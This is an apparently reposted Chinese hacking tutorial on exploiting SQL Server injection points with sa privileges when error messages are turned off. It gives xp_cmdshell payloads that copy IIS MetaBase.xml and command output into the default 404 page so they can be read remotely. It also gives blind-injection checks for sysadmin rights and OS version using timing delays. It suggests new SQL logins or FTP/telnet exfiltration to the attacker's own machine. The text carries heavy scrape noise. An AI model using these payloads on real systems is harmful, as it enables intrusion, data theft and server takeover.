遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。1 }3 B! O* d: M( L; I6 I7 w' w
7 b& H, x: w( O0 v A; e' o& T 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
3 t7 p# L+ {, Y0 ~3 L1 p* R: B
* ` {6 ]( H% F- t 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。 Y1 J J% A& |6 f8 g; h
; x2 e9 X6 l5 D4 S
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm5 S- z. h" f5 b9 B, @ l, V
9 O' y; o3 ]3 O( l% J; r2 i
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
( \* l9 m7 t$ ?, i; ~" x
3 @& {0 q* U- w. D! j3 l ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。1 b/ F R2 a3 A3 [1 W k+ b/ R# V
" k: Q( o- S& |9 m2 O
执行命令得到回显! x0 `( J# y, H+ }; H9 R
9 y; _4 |9 C% U3 r 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
; M9 e. M* @3 g3 Y# b! l/ ?$ j$ v, E: h P2 K, G' _# T' @( i) c
得到文件也shi相同,把文件copy到404b.htm就行了
0 v9 P7 P7 D+ f( W7 p8 `. C) J6 c
7 y: }2 L/ h/ r+ ?4 w: X9 v! B by 28ice, 2008/6/26+ R, j( j& U- _$ ]
4 Y" X. e: F/ g" g7 W6 e: T2 {
摘自 28度的冰, y* M! u0 }: |; U: V9 m; C
( x: |# `% R& k( ?3 M9 N 盲注判断权限和操作系统版本% I4 I5 \! U' k6 [4 h' V8 Q
j7 L* h9 T' L5 f 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?5 C% u; T. J- H6 H6 h
7 ]" k" _7 {. z6 K5 D8 \
最简单的,可能以用这样的方法:9 }! {) m7 u" q! `
# B# c# n! o; E+ S- n4 c
1=(select IS_SRVROLEMEMBER(’sysadmin’))
* D4 ], Z1 | Y. o! c, } ~9 R \8 X8 r
当然,有些情况下,这个方法并不奏效。
- v) m. ~! o5 y- q; z) j# a! B( p! c& F3 N, B- E# B0 M( J
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
}7 t: h" Y5 d' Y9 Z$ X- F2 M* `8 K- K+ } K F/ n) A
有个3办法可能以解决这个问题
. X- O' G1 J- I2 N3 l( |* ^& y8 ?5 t+ a- F8 m) y2 P
a.把执行结果写到404b.htm,具体请看我的上一篇文章9 u" r6 v) n5 ~% S, u! R
& @% M) x. a8 H' S( {7 `, ] b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟9 O9 U8 b& Y% K
4 s) v( o7 y! }3 C+ r- P. j' G. s
c.如果1433端口可能以连接,那干脆新建个sql登录
9 B# T" G# @7 U
6 `1 R) h8 l' P d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数& t; }8 S+ ]& f' H- i* w
. h3 T* X( l; `( s% L 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
" X: A& U$ o+ O7 b
' g9 \4 N, b" s 很简单
# I7 u; @5 Q/ F( @ s5 m" x m2 }- l2 z% Y/ b
执行systeminfo1 j6 |+ M, W7 k6 \
7 [7 h+ a! H5 w7 X* | 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |